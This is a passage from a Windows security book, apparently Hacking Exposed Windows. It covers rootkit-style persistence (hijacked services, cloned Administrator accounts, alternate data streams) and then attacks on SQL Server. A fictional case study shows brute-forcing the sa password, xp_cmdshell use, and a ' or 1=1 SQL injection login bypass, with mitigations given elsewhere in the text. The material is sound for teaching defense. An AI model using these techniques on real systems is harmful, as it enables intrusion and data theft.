\na space.\nHijacking Legitimate Services\nIf you have used Windows for any amount of time, you have probably seen or heard of \nthe Alerter service. Its installed by default, and until recently (XP SP2), it was enabled by \ndefault on Windows. Normally, the Alerter service points to the command line C:\\\nWINDOWS\\System32\\svchost.exe -k LocalService.\n" }, { "page_number": 294, "text": "266 \nHacking Exposed Windows: Windows Security Secrets & Solutions \nWhat if a malicious hacker changed that command line to point to a backdoor and \nconfigured the service to run as the SYSTEM account while leaving the name and \ndescription the same? Perhaps the malicious hacker points the service to a file named \nExplorer.exe running in the Windows folder, but with a Cyrillic e? Again, no active stealth \nis needed here; the hacker has simply repurposed an existing service to make it run the \nmalicious backdoor. Many administrators know to look for suspicious services manually, \nbut the Alerter service is hardly suspicious.\nCloned Administrator Accounts\nWhat makes the local Administrator account the true Administrator? As it turns out, its \njust a couple of Registry values (F for fixed and V for variable) in a part of the SAM that \nis not normally accessible even to the local administrator. But this part of the SAM is\naccessible to software running as the SYSTEM account. The concept employed here is to \ntake a low-privileged user account in the SAM and to populate its F value with the data \nfrom the built-in Administrator account’s F value.\nFigure 8-16 Explorer.exe using a homoglyph\n" }, { "page_number": 295, "text": "Chapter 8: Achieving Stealth and Maintaining Presence \n267\nThe interesting thing about this approach is that the user account that is manipulated \nin this way does not show up as a member of the local Administrators group, yet when \nit’s used for logon, it has the same privileges as the built-in Administrator account, \nmaking this a very stealthy backdoor that attackers can use on compromised systems.\nWe are not aware of any automated tools to identify cloned Administrator accounts \nat this time, but manual inspection can be performed by running the Registry Editor as \nSYSTEM (using the AT scheduler with the /INTERACTIVE switch to spawn a copy of \nCMD.EXE as SYSTEM and then running REGEDIT.EXE from that CMD shell), exporting \nthe Registry keys for each user, and manually comparing the F and V values for each user \nto those of the built-in Administrator account (Figure 8-17).\nHiding in Hidden Folders with Restrictive Permissions\nAnother commonly used technique is to place malware in the ‘:\\System\nVolume Information’ folder. This hidden folder is used by Windows for such things as \nproviding System Restore functionality, and the permissions on the folder, by default, \ngrant only the SYSTEM account access to the folder. A malicious hacker may place her \nFigure 8-17 Regedit.exe running as SYSTEM displaying the Administrator account F and V values\n" }, { "page_number": 296, "text": "268 \nHacking Exposed Windows: Windows Security Secrets & Solutions \nbackdoor Trojan in this folder via a remote shell exploit targeted against a service that is \nrunning as SYSTEM. Then by hijacking an existing service that runs as the SYSTEM \naccount (perhaps one that wouldn’t be missed that starts by default, such as the \nDistributed Link Tracking Client service) and changing it to point to the backdoor that \nshe placed in this folder, she can effectively hide her files on the file system from an \nAdministrator attempting to enumerate all files and folders using DIR /S. The files are \nin a hidden folder and the service running the backdoor is the one expected to be \nrunning.\nAlternate Data Streams\nIt never ceases to amaze us that more malicious hackers and more malware don’t make \nuse of the Alternate Data Streams (ADS) feature of Windows. An ADS is a stream of data \nassociated with a file. ADSs have been around as long as NTFS, but they haven’t been \nused by many either for good or bad purposes. Some antivirus software and backup \nsoftware make use of ADSs to mark or tag files with metadata appropriate to the \napplication. More recently, the Attachment Manager API makes use of ADSs to mark \nwhat Internet Explorer zone a file was downloaded from so that the shell can display an \nappropriate warning to a user when he tries to run an unsigned binary that was \ndownloaded from the Internet Zone. More recently, we’ve seen the Rustock rootkit taking \nadvantage of the inherent stealth provided by an ADS on Windows.\nWhy are ADSs such a powerful way to hide on Windows? Because prior to Windows \nVista, there was no built-in way to enumerate the ADSs associated with a file. On \nWindows 2000 and Windows XP, if you wanted to list all of the ADSs associated with a \nfile, you had to use a utility such as Streams 1.55to accomplish this task. In Vista, the /R\nswitch has been added to the DIR command to enumerate streams associated with a file \nor folder.\nSUMMARY\nStealth software has been around for a long time, and will continue to exist well into the \nforeseeable future. Modern stealth software comes in many forms, ranging from simple \nuser-mode rootkits, to advanced kernel-mode rootkits, to rootkits that load from boot \nrecords of CDs, to hypervisor-based rootkits that move the operating system into a \nvirtual machine to achieve stealth. Typically, the earlier in the boot process that a rootkit \ncan load and the deeper into the OS that a rootkit can hook, the harder it will be to detect \nand/or remove. For these reasons, we need to keep untrusted malicious code out of the \noperating system kernel. Some operating systems such as the 64-bit version of Windows \nVista attempt to keep all code, except drivers signed using certificates issued by trusted \ncertificate authorities, out of the kernel and to prevent signed code from attempting to \npatch or modify functions and data structures in the kernel’s memory space. In addition, \nmost rootkits need Administrator privileges to achieve stealth and persistence, so logging \nin with standard user accounts is more important now than ever, a task that is facilitated \nby Vista’s User Account Control.\n" }, { "page_number": 297, "text": "Chapter 8: Achieving Stealth and Maintaining Presence \n269\nIn recent years, many very effective rootkit detection tools have been created largely \nin response to the challenge posed by well-written stealth software. There are still \nnumerous ways to detect many common rootkits without having to rely on specialized \nsoftware, and they usually involve discovering or detecting something that the rootkit \nauthor forgot to hide or is not capable of hiding. Some forms of stealth, due to the \ntechniques used, are inherently tricky to implement properly and can cause instability \nthat can lead to operating system or application crashes on heavily used machines or \nmachines with multiple processors. Operating system and application instability \ncombined with powerful rootkit detection tools can lead to quick and easy identification \nof a rootkit, thereby defeating the rootkit’s ability to achieve stealth. For these and other \nreasons, some malicious hackers choose not to use stealth technology at all, and instead \nattempt to camouflage their malware or to blend in with the surrounding environment \nin an attempt to go unnoticed.\n“A strange game. The only winning move is not to play.”\n—W.O.P.R., War Games\nREFERENCES AND FURTHER READING\nReference\nLocation\nThe Cuckoo’s Egg\nhttp://en.wikipedia.org/wiki/The_Cuckoo’s_Egg\nUNIX Rootkit CERT \nAdvisory\nwww.cert.org/advisories/CA-1994-01.html\nAbuse of the Linux Kernel \nfor Fun and Profi t\nwww.phrack.org/archives/50/P50-05\nWeakening the Linux \nKernel\nwww.phrack.org/archives/52/P52-18\nYYT_HAC Rootkit\nwww.yythac.com/ar/en_readme.txt\nA *REAL* NT Rootkit, \npatching the NT kernel\nwww.phrack.org/archives/55/P55-05\nAspects of Offensive \nRootkit Technology course\nwww.blackhat.com/html/win-usa-03/\ntrain-bh-win-03-gh.html\n“Windows Rootkits a \nstealthy threat,” by Kevin \nPoulsen\nwww.theregister.co.uk/2003/03/07/\nwindows_root_kits_a_stealthy/\nMicrosoft Security Bulletin \nMS03-026: Buffer Overrun \nin RPC Interface Could \nAllow Code Execution\nwww.microsoft.com/technet/security/bulletin/\nMS03-026.mspx\nYou cannot remove \nsuspicious folders from \nthe FTP fi le structure\nhttp://support.microsoft.com/kb/811176\n" }, { "page_number": 298, "text": "270 \nHacking Exposed Windows: Windows Security Secrets & Solutions \nReference\nLocation\nYou cannot delete a fi le or \na folder on an NTFS fi le \nsystem volume\nhttp://support.microsoft.com/?kbid=320081\nIE usage survey\nhttp://arstechnica.com/news.ars/post/\n20070222-8908.html\nF-Secure Blacklight\nwww.eweek.com/article2/0,1759,1829744,00.asp?kc=\nEWRSS03129TX1K0000614\nMalicious Software \nEncyclopedia: WinNT/\nIspro\nwww.microsoft.com/security/encyclopedia/\ndetails.aspx?name=WinNT%2fIspro\nDavid Aucsmith \n– WinHEC\nhttp://download.microsoft.com/download/9/8/\nf/98f3fe47-dfc3-4e74-92a3-088782200fe7/\nTWWI05021_WinHEC05.ppt\nMSRC Blog About Delprot \nRootkit & MSRT\nhttp://blogs.technet.com/msrc/archive/2005/05/\n10/404747.aspx\nShadow Walker \nannounced at Blackhat\nwww.eweek.com/article2/0,1895,1841266,00.asp\nShadow Walker \nPresentation\nwww.blackhat.com/presentations/bh-jp-05/\nbh-jp-05-sparks-butler.pdf\nBlue Pill Rootkit\nhttp://theinvisiblethings.blogspot.com/2006/06/\nintroducing-blue-pill.html\nRustock and Advances in \nRootkits\nwww.symantec.com/enterprise/security_response/\nweblog/2006/06/raising_the_bar_rustocka_advan.html\nGMER Rootkit Detection \nTool\nwww.gmer.net/faq.php\n“Rustock DDoS Attack” \nby Joe Stewart \nwww.joestewart.org/rustock-ddos.html\nRKUnhooker Rootkit \nDetection Tool created \nby authors of Unreal.A \nrootkit\nwww.rootkit.com/newsread.php?newsid=647\nOffi ce Documents \ncontaining a rootkit\nwww.symantec.com/enterprise/security_response/\nwriteup.jsp?docid=2006-092715-1534-99&tabid=2\nOffi ce Documents \ncontaining a rootkit\nwww.symantec.com/security_response/\nwriteup.jsp?docid=2006-092716-2948-99&tabid=2\nAuthentium defeats \nPatchguard\nhttp://blogs.authentium.com/virusblog/?p=100\n" }, { "page_number": 299, "text": "Chapter 8: Achieving Stealth and Maintaining Presence \n271\nReference\nLocation\nUninformed Analysis of \nPatchguard\nwww.uninformed.org/?v=3&a=3&t=sumry \nUninformed Analysis of \nPatchguard\nwww.uninformed.org/?v=6&a=1&t=sumry\nKernel-mode Code \nSigning Policy Overview\nhttp://msdn2.microsoft.com/en-us/library/\naa906239.aspx\nRestricted Access to \n\\Device\\PhysicalMemory\nhttp://technet2.microsoft.com/WindowsServer/en/\nlibrary/e0f862a3-cf16-4a48-bea5-f2004d12ce351033\n.mspx?mfr=true\nAskStrider\nhttp://research.microsoft.com/research/pubs/\nview.aspx?tr_id=704\nSystem Virginity Verifi er \n(SVV)\nwww.invisiblethings.org/papers/\nhitb05_virginity_verifi er.ppt\nAutoRuns for Windows\nwww.microsoft.com/technet/sysinternals/\nProcessesAndThreads/Autoruns.mspx\nBootExecute\nwww.microsoft.com/technet/prodtechnol/\nwindows2000serv/reskit/regentry/\n46697.mspx?mfr=true\nHacker Defender: Remote \nRootkit Scanner for \nWindows\nhttp://seclists.org/fulldisclosure/2004/Oct/\n0697.html\nWinObj v2.15\nwww.microsoft.com/technet/sysinternals/\nSystemInformation/WinObj.mspx\nVitriol Rootkit at BlueHat\nwww.eweek.com/article2/0,1895,2032661,00.asp\nAttachment Manager API\nhttp://support.microsoft.com/kb/883260\nStreams v1.56\nwww.microsoft.com/technet/sysinternals/utilities/\nStreams.mspx\n" }, { "page_number": 300, "text": "This page intentionally left blank \n" }, { "page_number": 301, "text": "273\n9\nHacking SQL \nServer\n" }, { "page_number": 302, "text": "274 \nHacking Exposed Windows: Windows Security Secrets & Solutions \nW\nebsite defacements are old news. We’ve all seen the headlines in the past few \nyears: hackers breaking into university sites, online merchant sites, and \ngovernment application sites and using the data for nefarious purposes. Of \ncourse, this was inevitable. Defacements are a lousy way to make money—and \ninformation theft is very profitable. With huge penalties for information disclosure and \nsubstantial rewards for attackers, databases are more at risk than ever.\nFor those companies utilizing Microsoft technologies, a popular data store is \nMicrosoft’s SQL Server relational database as well as the various free editions of SQL \nServer (Microsoft Data Engine, which has now been renamed SQL Server Express Edition \nin SQL 2005) that ship with more than 240 known software packages. SQL Server has \nbeen very prolific and now appears to have market share of about 23 percent according \nto Gartner (www.gartner.com) estimates. Unfortunately, despite all of the concerns about \nscalability and reliability that most companies have when planning and implementing \nSQL Server, they often overlook a key ingredient in any stable SQL Server deployment: \nsecurity. It’s a common tragedy that many companies spend a great deal of time and \neffort protecting the castle gates while leaving the royal vault wide open.\nAs the SQL Slammer worm (www.cert.org/advisories/CA-2003-04.html) taught us, \nother potential repercussions are possible when SQL Server security is neglected. When \na six-month-old SQL Server vulnerability can nearly bring the Internet to its knees, two \nthings become obvious: there are a lot of SQL Server installations out there, and no one \nseems to be keeping them properly secured.\nIn this chapter, we outline how attackers footprint, attack, and compromise SQL \nServer, followed by solutions for mitigating these threats. We begin with a case study \noutlining common attack methodologies, followed by a more in-depth discussion of SQL \nsecurity concepts, SQL hacking tools and techniques, and countermeasures. We continue \ndetailing the technologies, tools, and tips for making SQL Server secure.\nIt has been shown that insecure applications have exposed otherwise well-secured \nSQL Server installations. Applications that use SQL Server as a back end can be attacked \nvia SQL injection, whereby attackers can go directly at your data virtually undetected in \nmany cases. We pay special attention to how this is done and what you can do to protect \nyour assets.\nCASE STUDY: PENETRATION OF A SQL SERVER\nJade had already spent half on her advance money and she had not even fired up her \nlaptop. As a hired mercenary, she was given only the minimum amount of information \nshe needed to complete the contracted job: break into a mortgage broker’s website and \nobtain any leads generated in the last six months. She wasn’t sure who had contracted \nthe job but mused it was probably a sleazy competitor.\nShe had at least completed some recon before accepting the job. She checked out the \ncompany’s website and found a public portal focused mostly on new sales. This portal \nprovided customers with information about their products and allowed individuals to \nenter their private information, after which the software presented them with various \n" }, { "page_number": 303, "text": "Chapter 9: Hacking SQL Server \n275\nloan packages and directed them to a local broker. She could find nothing exploitable on \nthe public site and assumed it had received a great deal of scrutiny.\nJade had also learned of a sales portal that was used by internal employees. Based on \nwhat Jade knew, the sales portal looked like the better target. Internal systems never \nseem to get the same security scrutiny as public-facing systems, and a sales portal was \nmore likely to have the historical data she needed. However, there was one hitch: she \ncould find no reference to the actual location of this portal.\nWith only a few days left on her contract, Jade decided it was time to get creative. \nOne of the large regional branches for this company was local to her, so she grabbed a \nwireless laptop and headed to the closest coffee shop to the target. Sure enough, she \nfound a large establishment in their building offering free wireless Internet access to \nanyone willing to pay five dollars for a mochaccino. She was hopeful that a company \nemployee with a poorly configured laptop would come in for a break.\nShe loaded her favorite wireless sniffer, Aeropeek, and waited for her lucky break. \nEach time she saw a new wireless client appear, she quickly scanned the machines \nlooking for opportunities. Since the release of Windows XP SP2, most Windows machines \nhad the firewall enabled by default, but people had a bad habit of adding exceptions \nwhen the firewalls inconvenienced them in some way. Such was her fortune today.\nShe eventually found a laptop with TCP port 1433 listening and it was communicating \nover an encrypted channel (probably a VPN) for all communications, so she could not \nsee where it was browsing. A listening SQL Server on a laptop usually meant one of two \nthings: this is a developer or a salesman with a local sales database. She immediately \nfired up sqlcmd (a command-line SQL Server client) and attempted a connection using \nSQL authentication as the sa user with no password:\n Login Failed for user 'sa'\nThere was no mention of this user not being associated with a trusted SQL Server \nconnection. Excellent! She was dealing with a SQL Server in SQL authentication mode, \nwhich meant she could make a brute-force attempt for access. She quickly loaded \nSQLPing3, pointed it to the target IP address, and loaded her favorite password list. She \nmade sure to add a few items specific to this target: company name, regional office name, \nmortgage lingo, and assorted acronyms from the website. In 3 seconds she got a hit: \ncommission was the password. It was looking more and more like this was her lucky day.\nTrembling with excitement, she invoked the SQL Server Management Studio (the \ninstance was SQL Server 2005) and connected to the victim. She found multiple databases, \nincluding one that appeared to contain sales leads. She quickly used a series of SELECT\nstatement to download all the data to her local machine, but her victorious mood \ndampened when she saw that the data was more than a year old. Apparently, this was an \nold client-server application that was no longer in use.\nQuickly, Jade recovered and thought of another tactic. Since she was logged in as the \nsa account and thus had SQL Server system administrator privileges, she used the xp_\ncmdshell (luckily, it was enabled on the server) command to check the user profiles for \nbrowser history and cookies like so:\nxp_cmdshell 'dir C:\\Documents and Settings\\user\\cookies'\n" }, { "page_number": 304, "text": "276 \nHacking Exposed Windows: Windows Security Secrets & Solutions \nAfter combing through a barrage of time-wasting websites, she finally noticed one \nthat stood out. This site was visited daily and the URL led her to believe that she had \nfound the sales portal! Time for the kill. Unfortunately, all the cookies for the sales portal \nhad expired, or she could have simply stolen the cookie and logged in as this user. No \nproblem; she always had better luck with the direct assault anyway.\nJade fired up her favorite application scanning tool, Paros Proxy, so that she could \nclearly see the raw data being returned back and forth on her requests. She then configured \nher browser to use the default Paros Proxy port 8080. Jade immediately pulled up the \nsales portal page. She could tell by viewing the raw requests in Paros that the server was \nclaiming to be a Microsoft server running Internet Information Server. Also, the pages \nhad .aspx extensions, implying they were coded in ASP.NET. She instructed Paros to \n“spider” the site, which would follow all links and give her a list of all accessible pages. \nUnfortunately, since the site required authentication, only the login page was found.\nUndeterred, she instructed Paros to perform a scan, and it wailed on the server for \nseveral minutes, diligently performing the analysis. It returned a single anomaly; a “SQL \nInjection Fingerprinting” vulnerability on the login page in the password field. To \nvalidate the finding, she tried logging into the site with a single quote as the password to \nsee if the SQL code behind the page would be corrupted:\nUsername: admin\nPassword: '\nSure enough, she pressed the submit button and the page returned this:\nMicrosoft OLE DB Provider for ODBC Drivers error '80040e14'\n[Microsoft][ODBC SQL Server Driver][SQL Server]Unclosed quotation mark \nbefore\nthe character string '''.\n/checkLogin.asp, line 10\nShe was in business—or so it appeared. Her first instinct was to attempt to “short-\ncircuit” the probable query behind the login screen so she could log into the site and \naccess the information she needed. Quickly, she assembled some exploit code and made \nanother attempt:\nUsername: admin\nPassword: ' or 1=1—\nSuccess! She was logged directly into the sales portal and quickly began searching for \nthe data she needed. After a few minutes, though, it was obvious that her search had \nonly begun. The sales portal showed only leads from the last three months. The interface \ndid not allow the user to view older leads, probably leaving this to some archiving tool \nor data warehouse. Undeterred, she realized that there was a way to pull all of the data \nby bypassing the portal interface entirely.\nJade connected to a remote system that she controlled that was wired to the Internet \n(a flaky wireless connection would not suffice). She loaded a tool called Absinthe, which \n" }, { "page_number": 305, "text": "Chapter 9: Hacking SQL Server \n277\nwould allow her to pull all of the data from the database (assuming the SQL account had \nthe rights) using blind SQL injection. Absinthe quickly identified the version as SQL \nServer 2005, and she began the process of downloading the entire database. Jade was \ncareful to download the data quietly by coordinating her Absinthe exploits with peak \ntraffic periods, such as morning logins and other daytime activities, to avoid gaining the \nattention of any network security analysts.\nThe download would take hours or days to complete, but in the end, she was \nconfident she would finish another job just under the wire. She smiled playfully as she \nclosed her laptop and slipped back out of the building to catch a cab.\nSQL SERVER SECURITY CONCEPTS\nBefore we delve into the innards of SQL Server security, let’s discuss some of the basic \nconcepts and address some of the areas that have improved over the years. SQL Server \nwas originally developed with assistance from Sybase for IBM’s OS/2. When Microsoft \ndecided to develop its own version for NT, SQL Server 4.2 (also known as Sybase SQL \nServer) was born. Shortly thereafter, Microsoft bought the code base and developed SQL \nServer 6.0 without Sybase. Since that time, through several revisions and improvements, \nSQL Server has transformed into quite a different product than was originally developed \nduring the Sybase days. However, as you will see, Microsoft still retains many pieces \nunder the hood from the original security model, and many of those continue to hinder \nthe product to this day.\nNetwork Libraries\nNetwork libraries (netlibs) are the mechanisms by which SQL clients and servers exchange \npackets of data. A SQL Server instance can support multiple netlibs listening at one time, \nand since SQL Server 2000, it supports multiple instances of SQL Server at once—all \nlistening on different netlibs. By default, TCP/IP is enabled and listening for all SQL \nServer 2005 installations except for Express Edition, where only the Shared Memory \nnetwork library is enabled. This means that the typical SQL Server install can be easily \nspotted by a port scan of the default TCP port of 1433.\nNetlibs supported by SQL Server 2005 include the following:\n• TCP/IP\n• Named Pipes\n• Shared Memory (local server only)\n• Virtual Interface Architecture SAN\nSQL Server 2005 has enhanced the connection security by allowing the ability to \nenforce encryption on all network libraries. The exception is Shared Memory, where it \nwould not make sense because the connection is local to the server.\nAlthough Microsoft has included many encryption mechanisms into the network \nlibrary stack, the platform transport security mechanisms such as IPSec, port filtering, \n" }, { "page_number": 306, "text": "278 \nHacking Exposed Windows: Windows Security Secrets & Solutions \nand Windows Firewall should not be overlooked. For example, combining the encryption \ncapabilities of the TCP/IP network library with Windows Firewall can provide both \nprivacy and minimized surface area to your SQL Server installation.\nSecurity Modes\nSQL Server has two security modes:\n• Windows Authentication mode\n• SQL Server and Windows Authentication mode (mixed mode)\nIn Windows Authentication mode, Windows users are granted access to SQL Server \ndirectly (using their Windows passwords) and thus there is no need to create a separate \nlogin in SQL server for that user. This can greatly aid in administration, because \nadministrators have no need to create, update, or delete users constantly within SQL \nServer. This mode is Microsoft’s officially recommended security mode and is now the \ndefault mode.\nTo connect to a SQL server using Windows Authentication, use the following \nconnection string if you are using the OLE Database (OLE DB) provider for SQL Server:\n\"Provider=SQLOLEDB;Data Source=my_server;Initial Catalog=my_database;\nIntegrated Security=SSPI \"\nIn SQL Server and Windows Authentication mode, users can also be authenticated \nby a username/password pair with the credentials stored within SQL Server itself. \nAlthough this is no longer the default security mode, it is still a common mode due to the \nsimplicity of the security model and the fact that many web developers find it easier to \ncode for this model than to worry about Windows Authentication complexities.\nTo connect to a SQL server using native logins, use the following sample connection \nstring if you are using the OLE DB provider for SQL Server:\n\"Provider=SQLOLEDB;Data Source=my_server;Database=my_database;\nUser Id=my_user;Password=my_password;\"\nLogins\nA login in the SQL Server world is an account that gives you access to the server itself. All \nSQL Server logins are kept in the sysxlogins table (which is available only through the \nsyslogins view in SQL 2005) in the master database. Even when using Windows \nauthentication, either a security identifier (SID) for the user or group-granted access is \nstored. For native SQL Server logins, a 16-byte globally unique identifier (GUID) is \ngenerated and placed in the SID column. Passwords for native SQL Server accounts are \nstored in this table in encrypted form.\nWith SQL Server 2005 installed on Windows 2003 Server, Microsoft added the ability \nfor SQL Server login accounts to have lockouts, password complexity, and password \n" }, { "page_number": 307, "text": "Chapter 9: Hacking SQL Server \n279\nexpiration. This is a huge breakthrough and helps to mitigate some of the weaknesses \ninherent in the SQL Server login security model.\nUsers\nA user is a separate type of account that is linked to a particular login and used to denote \naccess to a particular database. Users are stored in individual databases in the sysusers \ntable (implemented as a view in SQL Server 2005). Only users are assigned access to \ndatabase objects. No passwords are stored in the sysusers table, as users are not \nauthenticated like logins. Users are simply mapped to a login, so the authentication has \nalready occurred.\nRoles\nAs a convenience to administrators and as a security feature, users and logins can be \nassigned to fixed or user-defined database roles to keep from having to manage access \ncontrol individually and also to partition special privileges. Roles come in the following \nflavors:\n• Fixed server roles (sysadmin, serveradmin, securityadmin, and so on)\n• Fixed database roles (db_owner, db_accessadmin, db_securityadmin, and so on)\n• User database roles\n• Application roles (sp_setapprole)\nFixed server roles provide special privileges for server-wide activities such as \nbackups, bulk data transfers, and security administration. Fixed database roles let trusted \nusers perform powerful database functions such as creating tables, creating users, and \nassigning permissions. User database roles are provided for ease of administration by \nallowing users to be grouped, with permissions assigned to those groups. Application \nroles allow the SQL DBA to give users no privileges in the database at all, but instead \nusers must use the database through an application that lets all users share an account \nfor the duration of the application. This role is used mostly to keep users from directly \naccessing the SQL server outside of an application (via Excel, Access, or other means).\nLogging\nUnfortunately, authentication logging in SQL Server has been traditionally relatively \nweak. Failed login auditing is now enabled by default on SQL Server 2005, but once \nenabled it logs only the fact that a failed login occurred for a particular account. No \nadvanced information is supplied about the source application, hostname, or netlib, or \nany other information that might be useful in determining from whence an attack was \nbeing launched. However, beginning with SQL Server 2005, the IP address of the failed \nlogin remote host is logged. See Figure 9-1 for an example of the logged data during a \nbrute-force attack.\n" }, { "page_number": 308, "text": "280 \nHacking Exposed Windows: Windows Security Secrets & Solutions \nSQL Server includes a C2 logging feature. Unfortunately, C2 logging still does not \nprovide network details of a potential attacker, but it does have the ability to log the \ndetails of all data changes within SQL Server. If you have some serious disk space and \ncan hold this level of information (and it is a lot of information), C2 auditing can be \nenabled using the following commands in Transact-SQL (T-SQL):\nexec sp_configure 'C2 Audit Mode',1\ngo\nreconfigure\ngo\nSQL Server 2005 Changes\nWith the release of SQL Server 2005, Microsoft has addressed many of the security issues \nthat have plagued administrators in the past. On the flip side, not all of the new features \nare good for security, and each should be scrutinized closely before implementation. Table \n9-1 shows some of the changes in the latest release that affect security in a significant way.\nFigure 9-1 SQL Server error log during a brute-force attack\n" }, { "page_number": 309, "text": "Chapter 9: Hacking SQL Server \n281\nWith the proper feedback, Microsoft may be able to fix any remaining issues. Feel free to write the \ncompany concerning any outstanding issues at sqlwish@microsoft.com.\nHACKING SQL SERVER\nUntil the SQL Slammer worm was unleased in January 2003, Microsoft had mostly received \na black eye from the various IIS vulnerabilities, with SQL Server staying somewhat beneath \nthe radar screen. This is not to say that SQL Server has not had its share of exploits—rather, \nit has not received quite the press or attention from the hacking community. Perhaps it is \ndue to the relatively few automated SQL Server patching tools currently available. Or \nperhaps it is because some cursory knowledge of SQL is required to attack SQL successfully, \nraising the bar somewhat above the simple HTTP tricks that are so often the root of IIS \nChanges\nComments\nImpersonation in T-SQL\nAllows developers to context-switch \nexisting connections to achieve least \nprivilege using the EXECUTE AS and \nSETUSER statements.\nSurface Area Confi guration Tool\nAllows administrators to disable \nunused services, network libraries, \nand features that might otherwise \nbe used as attack vectors.\nDDL Triggers\nAllows administrators to place \ntriggers on data defi nition languages \ncommands like ALTER TABLE that \nmay be used to log or prevent an \nattack on database objects.\nMapping Windows User Credentials\nAllows SQL code to attach to remote \nresources using credentials other \nthan the SQL Server service context, \nwhich helps achieve the goal of least \nprivilege.\nNative Encryption Infrastructure\nBuilt-in encryption functions and \nkey management to help developers \nsecure private data. \nLimited Metadata Visibility\nSQL Server users can only see metadata \nfor tables and other database objects to \nwhich they have been granted access.\nTable 9-1 SQL Server 2005 Security-Related Changes\n" }, { "page_number": 310, "text": "282 \nHacking Exposed Windows: Windows Security Secrets & Solutions \nexploits. However, tools are beginning to appear and attackers are beginning to realize that \nlearning a little SQL can go a long way toward prying into corporate data stores. The time \nhas come to take notice of SQL Server security and what we can do to protect our most \nvaluable resources. This section should serve as your wake-up call!\nSQL Server Information Gathering\nMost experienced attackers will take the time to gather as much information about a \npotential target as possible before making any direct moves. Their purpose is to make \nsure that the actual penetration attempt is focused on the right technologies and doesn’t \nalert intrusion detection systems by being overly sloppy. In addition to the obvious \nplaces, such as the target’s public website (which usually yields gems such as job openings \nfor the various disciplines) or the various domain name registries, attackers can usually \nharvest a wealth of information about most targets in a matter of minutes from some of \nthe following sources.\nNewsgroup Searches\nPopularity:\n9\nSimplicity:\n9\nImpact:\n4\nRisk Rating:\n7\nNo matter how good a developer you might be or how many years you’ve been \nadministering Microsoft servers, you’ll invariably need help somewhere down the road. \nChances are the first place you’ll go to get some of that help (before you burn some \nMicrosoft Support points) is the newsgroups. In asking others for help, you may \ninadvertently be divulging valuable details about the types of technologies used in-\nhouse, the skill levels of those involved, and possibly even security details such as \nActiveX data object (ADO) connection strings and SQL Server security mode settings.\nGoogle Hacking\nPopularity\n7\nSimplicity:\n8\nImpact:\n6\nRisk Rating:\n7\nA common place to find such details is search engines and newsgroup repositories \nsuch as www.google.com, where you can perform detailed searches on potential targets. \nA common tactic is to identify all messages posted by users with a specific domain name, \nand then focus on articles that appear to contain detailed technical information about \ndatabase types, security settings, or specific application security issues.\nIf someone from your company has a newsgroup posting concerning SQL Server, it \nshould surface. Take a look at the messages and see what kind of information is floating \n" }, { "page_number": 311, "text": "Chapter 9: Hacking SQL Server \n283\nout there for potential attackers. Other potentially dangerous information on Google \nincludes connection strings, hidden form fields, vulnerable sample web pages, and \nadministration pages that the search engines were kind enough to catalog and index for \npotential attackers. Also, since Google is constantly checking sites for new content, it can \nbe leveraged as a quick way for attackers to scour your site for private data.\nTry this with your company:\n \n1. Navigate to the www.google.com web page.\n \n2. In the search box type site:yourdomain.com fi letype:inc\n \n3. Click Search.\nIf your site uses include files to store connection strings or other data, attackers can \nquickly find this information. Most any file type (.doc, .xls, .pdf, and so on) can be queried \nin this manner to divulge source code or other private content. Be especially wary of text \neditors that save backup copies of your web applications files. A web.config.bak file \ncould inadvertently divulge your site’s connection strings, session keys, and other \nprecious secrets.\nWe are not discouraging anyone from using newsgroups or help forums or telling you to be afraid of \nGoogle, but you should consider that whatever you post may exist forever and can be seen by anyone \nat any time. Knowledge can be used for evil as well as good. Assume all content located on your \nanonymous access web servers is readable by anyone. Just because you don’t think anyone links to \nthe content does not mean it is safe.\nPort Scanning\nPopularity:\n10\nSimplicity:\n10\nImpact:\n6\nRisk Rating:\n8\nPort scanning has become so common that most security administrators have neither \nthe time nor inclination to investigate every port scan that comes across the firewall logs. \nHopefully, if the firewall is properly configured, a port scan will yield little fruit for the \nattacker. However, in many cases, security administrators will leave SQL Server ports \nopen for developers or remote employees to access customer relationship databases. \nThis tragic mistake can be a boon for aspiring SQL Server hackers, and you can bet your \nbottom dollar they’ll be looking for it.\nA SQL Server scan begins with a sweep of TCP port 1433 for all the IP addresses \nassigned to the victim. Port 1433 is the default listening port for a SQL server listening on \nthe TCP/IP sockets netlib and is generally proof-positive of a SQL Server installation, \nsince this netlib is installed by default on most all SQL Server editions. If you see sweeps \nof port 1433 on your border router or firewall logs, you can bet someone is attempting to \nlocate SQL servers in your organization.\n" }, { "page_number": 312, "text": "284 \nHacking Exposed Windows: Windows Security Secrets & Solutions \nIt should be noted that since Windows XP SP2 the Windows Firewall has been on by default, limiting \nthe number of exposed developer workstations and other low-profile installations. However, since \nusers can easily create exceptions to allow for inbound SQL Server connections you should not \nassume that this is not a significant threat. Active Directory has some excellent settings for locking \ndown Windows Firewall and/or IPSec settings on domain member computers and it is highly \nrecommended that these settings be used to prevent unnecessary exposure.\nSQLPing\nPopularity:\n8\nSimplicity:\n10\nImpact:\n5\nRisk Rating:\n8\nAnother information-gathering technique is the use of the SQLPing tool by Chip \nAndrews. Since SQL Server supports multiple instances, it is necessary for the server to \ncommunicate to the client the details of every instance of SQL Server that exists on that \nserver. This tool uses the discovery mechanisms inherent in SQL Server (since SQL 2000) \nto query the server for detailed information about the connectivity capabilities of the \nserver and displays it to the user. The SQL Resolution Service, or SQL Browser Service as \nit is now called, operates over UDP 1434. Queries can be sent as broadcast packets to \nspecific subnets so that in many cases, where firewall security is lax, it is possible to \nquery entire subnets with a single packet!\nA sample SQLPing request that discovered two instances on a single host looks like \nthis:\nC:\\tools>sqlping 192.168.1.255\nSQL-Pinging 192.168.1.255\nListening....\nServerName : POPEYE\nInstanceName : MSSQLSERVER\nIsClustered : No\nVersion : 8.00.194\nnp : \\\\POPEYE\\pipe\\sql\\query\ntcp : 1433\nServerName : POPEYE\nInstanceName : SQL2005\nIsClustered : No\nVersion : 9.00.2047.00\ntcp : 2296\nAs you can see, a SQLPing response packet contains the following information:\n• SQL server name\n• Instance name (MSSQLServer is the default instance)\n" }, { "page_number": 313, "text": "Chapter 9: Hacking SQL Server \n285\n• Cluster status (Is this server part of a cluster?)\n• Version (returns only base version, but it’s easy to identify SQL Server 2000 \nversus 2005 installations)\n• Netlib support details (including TCP ports, pipe names, and so on)\nIn fact, you’ll find that even if a cautious administrator has changed the default TCP \nport of a SQL server listening on TCP/IP sockets, an attacker using SQLPing can easily \nask the server where the port was moved. The information gleaned from SQLPing can \nalso identify particularly juicy targets, such as those that use clustering technology for \nhigh availability—and such systems are usually mission-critical. All this information \nleakage helps attackers and could spell disaster for your SQL 